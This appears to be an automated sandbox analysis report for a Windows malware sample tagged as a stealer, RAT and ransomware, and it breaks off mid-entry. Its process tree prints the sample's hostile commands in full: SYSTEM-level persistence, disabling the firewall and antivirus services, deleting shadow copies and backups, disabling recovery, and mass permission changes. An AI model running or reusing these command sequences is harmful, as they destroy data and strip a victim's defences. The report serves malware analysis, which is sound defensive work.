Overview

overview

10

Static

static

10

2026-09-12...at.exe

windows10-2004-x64

8

2026-09-12...at.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    13/09/2026, 04:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 9.2MB
  • Sample260913-e5qmzacl9s
  • SHA256 c881c7db1652ac76643e8aaf4adb83d15e93a6cc7ada54cce6e5e9ed597ad808
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionexploitpersistenceprivilege_escalationransomwareupx

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 3 IoCs
    defense_evasion
  • Possible privilege escalation attempt 64 IoCs
    exploit
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Loads dropped DLL 63 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Unexpected DNS network traffic destination 33 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 3 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 64 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 22 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 55 IoCs
    defense_evasion
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3760
    • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4280
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2212
        • C:\Windows\system32\schtasks.exe
          schtasks /run /tn "IronChain_SYSTEM"
          4⤵
            PID:1660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Windows\system32\netsh.exe
            netsh advfirewall set allprofiles state off
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4156
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop EventLog"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1760
          • C:\Windows\system32\sc.exe
            sc stop EventLog
            4⤵
              PID:2148
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3860
            • C:\Windows\system32\sc.exe
              sc config EventLog start= disabled
              4⤵
                PID:2616
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "sc stop Resmon"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3320
              • C:\Windows\system32\sc.exe
                sc stop Resmon
                4⤵
                • Launches sc.exe
                PID:3848
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1144
              • C:\Windows\system32\sc.exe
                sc config Resmon start= disabled
                4⤵
                • Launches sc.exe
                PID:4292
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im Taskmgr.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3712
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im regedit.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2968
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im cmd.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2372
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im msconfig.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:888
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im procexp.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1344
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im procexp64.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2088
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im services.msc
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:816
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im mmc.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4836
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im SystemSettings.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3304
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im control.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2792
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im WindowsSecurity.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1180
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im MsMpEng.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3832
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im powershell.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3732
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im pwsh.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4776
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im taskkill.exe
              3⤵
              • Kills process with taskkill
              PID:3300
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im wmic.exe
              3⤵
              • Kills process with taskkill
              PID:2116
            • C:\Windows\SYSTEM32\taskkill.exe
              taskkill /f /im diskpart.exe
              3⤵
              • Kills process with taskkill
              PID:2392
            • C:\Windows\SYSTEM32\net.exe
              net stop AVP /y
              3⤵
                PID:5092
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop AVP /y
                  4⤵
                    PID:1208
                • C:\Windows\SYSTEM32\sc.exe
                  sc config AVP start= disabled
                  3⤵
                    PID:2796
                  • C:\Windows\SYSTEM32\sc.exe
                    sc delete AVP
                    3⤵
                    • Launches sc.exe
                    PID:836
                  • C:\Windows\SYSTEM32\net.exe
                    net stop KAV /y
                    3⤵
                      PID:640
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop KAV /y
                        4⤵
                          PID:4620
                      • C:\Windows\SYSTEM32\sc.exe
                        sc config KAV start= disabled
                        3⤵
                          PID:4828
                        • C:\Windows\SYSTEM32\sc.exe
                          sc delete KAV
                          3⤵
                          • Launches sc.exe
                          PID:3344
                        • C:\Windows\SYSTEM32\net.exe
                          net stop BDSS /y
                          3⤵
                            PID:4184
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 stop BDSS /y
                              4⤵
                                PID:892
                            • C:\Windows\SYSTEM32\sc.exe
                              sc config BDSS start= disabled
                              3⤵
                              • Launches sc.exe
                              PID:3796
                            • C:\Windows\SYSTEM32\sc.exe
                              sc delete BDSS
                              3⤵
                                PID:3692
                              • C:\Windows\SYSTEM32\net.exe
                                net stop Bitdefender /y
                                3⤵
                                  PID:4204
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 stop Bitdefender /y
                                    4⤵
                                      PID:872
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc config Bitdefender start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    PID:1940
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc delete Bitdefender
                                    3⤵
                                      PID:3956
                                    • C:\Windows\SYSTEM32\net.exe
                                      net stop "avast! Antivirus" /y
                                      3⤵
                                        PID:2776
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 stop "avast! Antivirus" /y
                                          4⤵
                                            PID:3788
                                        • C:\Windows\SYSTEM32\sc.exe
                                          sc config "avast! Antivirus" start= disabled
                                          3⤵
                                          • Launches sc.exe
                                          PID:4752
                                          • C:\Windows\System32\Conhost.exe
                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            4⤵
                                              PID:1832
                                          • C:\Windows\SYSTEM32\sc.exe
                                            sc delete "avast! Antivirus"
                                            3⤵
                                            • Launches sc.exe
                                            PID:2980
                                          • C:\Windows\SYSTEM32\net.exe
                                            net stop "avast! Service" /y
                                            3⤵
                                              PID:1744
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 stop "avast! Service" /y
                                                4⤵
                                                  PID:1388
                                              • C:\Windows\SYSTEM32\sc.exe
                                                sc config "avast! Service" start= disabled
                                                3⤵
                                                • Launches sc.exe
                                                PID:2384
                                              • C:\Windows\SYSTEM32\sc.exe
                                                sc delete "avast! Service"
                                                3⤵
                                                • Launches sc.exe
                                                PID:3976
                                              • C:\Windows\SYSTEM32\net.exe
                                                net stop AVG /y
                                                3⤵
                                                  PID:3800
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 stop AVG /y
                                                    4⤵
                                                      PID:4380
                                                  • C:\Windows\SYSTEM32\sc.exe
                                                    sc config AVG start= disabled
                                                    3⤵
                                                      PID:3492
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc delete AVG
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:4128
                                                    • C:\Windows\SYSTEM32\net.exe
                                                      net stop MBAMService /y
                                                      3⤵
                                                        PID:552
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 stop MBAMService /y
                                                          4⤵
                                                            PID:3508
                                                        • C:\Windows\SYSTEM32\sc.exe
                                                          sc config MBAMService start= disabled
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:4448
                                                        • C:\Windows\SYSTEM32\sc.exe
                                                          sc delete MBAMService
                                                          3⤵
                                                            PID:2796
                                                          • C:\Windows\SYSTEM32\net.exe
                                                            net stop DrWeb /y
                                                            3⤵
                                                              PID:3916
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 stop DrWeb /y
                                                                4⤵
                                                                  PID:2380
                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                sc config DrWeb start= disabled
                                                                3⤵
                                                                  PID:3176
                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                  sc delete DrWeb
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  PID:3620
                                                                • C:\Windows\SYSTEM32\net.exe
                                                                  net stop wscsvc /y
                                                                  3⤵
                                                                    PID:224
                                                                    • C:\Windows\system32\net1.exe
                                                                      C:\Windows\system32\net1 stop wscsvc /y
                                                                      4⤵
                                                                        PID:2300
                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                      sc config wscsvc start= disabled
                                                                      3⤵
                                                                      • Launches sc.exe
                                                                      PID:60
                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                      sc delete wscsvc
                                                                      3⤵
                                                                        PID:3108
                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                        net stop SecurityHealthService /y
                                                                        3⤵
                                                                          PID:1884
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 stop SecurityHealthService /y
                                                                            4⤵
                                                                              PID:4544
                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                            sc config SecurityHealthService start= disabled
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:3964
                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                            sc delete SecurityHealthService
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:4412
                                                                          • C:\Windows\SYSTEM32\net.exe
                                                                            net stop Sense /y
                                                                            3⤵
                                                                              PID:2492
                                                                              • C:\Windows\system32\net1.exe
                                                                                C:\Windows\system32\net1 stop Sense /y
                                                                                4⤵
                                                                                  PID:4160
                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                sc config Sense start= disabled
                                                                                3⤵
                                                                                • Launches sc.exe
                                                                                PID:2412
                                                                              • C:\Windows\SYSTEM32\sc.exe
                                                                                sc delete Sense
                                                                                3⤵
                                                                                • Launches sc.exe
                                                                                PID:3184
                                                                              • C:\Windows\SYSTEM32\net.exe
                                                                                net stop WinDefend /y
                                                                                3⤵
                                                                                  PID:2516
                                                                                  • C:\Windows\system32\net1.exe
                                                                                    C:\Windows\system32\net1 stop WinDefend /y
                                                                                    4⤵
                                                                                      PID:1204
                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                    sc config WinDefend start= disabled
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:948
                                                                                  • C:\Windows\SYSTEM32\sc.exe
                                                                                    sc delete WinDefend
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:212
                                                                                  • C:\Windows\SYSTEM32\net.exe
                                                                                    net stop WdNisSvc /y
                                                                                    3⤵
                                                                                      PID:4716
                                                                                      • C:\Windows\system32\net1.exe
                                                                                        C:\Windows\system32\net1 stop WdNisSvc /y
                                                                                        4⤵
                                                                                          PID:1876
                                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                                        sc config WdNisSvc start= disabled
                                                                                        3⤵
                                                                                          PID:3936
                                                                                        • C:\Windows\SYSTEM32\sc.exe
                                                                                          sc delete WdNisSvc
                                                                                          3⤵
                                                                                          • Launches sc.exe
                                                                                          PID:4128
                                                                                        • C:\Windows\SYSTEM32\net.exe
                                                                                          net stop MpKslDrv /y
                                                                                          3⤵
                                                                                            PID:624
                                                                                            • C:\Windows\system32\net1.exe
                                                                                              C:\Windows\system32\net1 stop MpKslDrv /y
                                                                                              4⤵
                                                                                                PID:1964
                                                                                            • C:\Windows\SYSTEM32\sc.exe
                                                                                              sc config MpKslDrv start= disabled
                                                                                              3⤵
                                                                                              • Launches sc.exe
                                                                                              PID:1888
                                                                                            • C:\Windows\SYSTEM32\sc.exe
                                                                                              sc delete MpKslDrv
                                                                                              3⤵
                                                                                              • Launches sc.exe
                                                                                              PID:2248
                                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                                              net stop NisSrv /y
                                                                                              3⤵
                                                                                                PID:4144
                                                                                                • C:\Windows\system32\net1.exe
                                                                                                  C:\Windows\system32\net1 stop NisSrv /y
                                                                                                  4⤵
                                                                                                    PID:4972
                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                  sc config NisSrv start= disabled
                                                                                                  3⤵
                                                                                                  • Launches sc.exe
                                                                                                  PID:432
                                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                                  sc delete NisSrv
                                                                                                  3⤵
                                                                                                    PID:4836
                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
                                                                                                    3⤵
                                                                                                      PID:4016
                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""
                                                                                                      3⤵
                                                                                                        PID:1556
                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
                                                                                                        3⤵
                                                                                                          PID:1508
                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
                                                                                                          3⤵
                                                                                                            PID:4484
                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
                                                                                                            3⤵
                                                                                                              PID:4156
                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
                                                                                                              3⤵
                                                                                                                PID:2040
                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
                                                                                                                3⤵
                                                                                                                  PID:3784
                                                                                                                • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
                                                                                                                  3⤵
                                                                                                                    PID:764
                                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
                                                                                                                    3⤵
                                                                                                                      PID:1484
                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
                                                                                                                      3⤵
                                                                                                                        PID:3416
                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
                                                                                                                        3⤵
                                                                                                                          PID:2080
                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
                                                                                                                          3⤵
                                                                                                                            PID:1180
                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
                                                                                                                            3⤵
                                                                                                                              PID:2076
                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
                                                                                                                              3⤵
                                                                                                                                PID:2432
                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
                                                                                                                                3⤵
                                                                                                                                  PID:1040
                                                                                                                                • C:\Windows\SYSTEM32\mshta.exe
                                                                                                                                  mshta.exe C:\Users\Admin\Desktop\IronChain.hta
                                                                                                                                  3⤵
                                                                                                                                    PID:4704
                                                                                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
                                                                                                                                    3⤵
                                                                                                                                    • Opens file in notepad (likely ransom note)
                                                                                                                                    PID:4760
                                                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /reset"
                                                                                                                                    3⤵
                                                                                                                                      PID:2772
                                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /inheritance:d"
                                                                                                                                      3⤵
                                                                                                                                        PID:4736
                                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /remove "Administrators""
                                                                                                                                        3⤵
                                                                                                                                          PID:2560
                                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /remove "Admin""
                                                                                                                                          3⤵
                                                                                                                                            PID:4380
                                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /remove "Authenticated Users""
                                                                                                                                            3⤵
                                                                                                                                              PID:4060
                                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /grant "Users:RX""
                                                                                                                                              3⤵
                                                                                                                                                PID:2144
                                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI37602\IronChain.py" /inheritance:d"
                                                                                                                                                3⤵
                                                                                                                                                  PID:3356
                                                                                                                                                • C:\Windows\SYSTEM32\route.exe
                                                                                                                                                  route print 0.0.0.0
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4656
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\CopyPop.3g2 /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:6032
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\BlockCompress.mht /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:6008
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\CompareConvertTo.ps1xml /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:6012
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\RemoveTest.jfif /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5440
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\RemoveRevoke.ogg /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5856
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\RemovePing.html /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5628
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\ReceiveConnect.mp2v /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5848
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\MoveResolve.xlt /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5620
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls "\\?\C:\Users\Admin\Desktop\Microsoft Edge.lnk" /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5840
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\JoinLimit.fon /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5612
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\InstallDismount.docx /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5832
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\ImportWatch.php /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5604
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\GroupRestart.wax /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5824
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\GetSave.MOD /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5596
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\GetConvert.vssm /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:5816
                                                                                                                                                  • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                    icacls \\?\C:\Users\Admin\Desktop\desktop.ini /grant Admin:F
                                                                                                                                                    3⤵
                                                                                                                                                    • Possible privilege escalation attempt
                                                                                                                                                    PID:5964
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
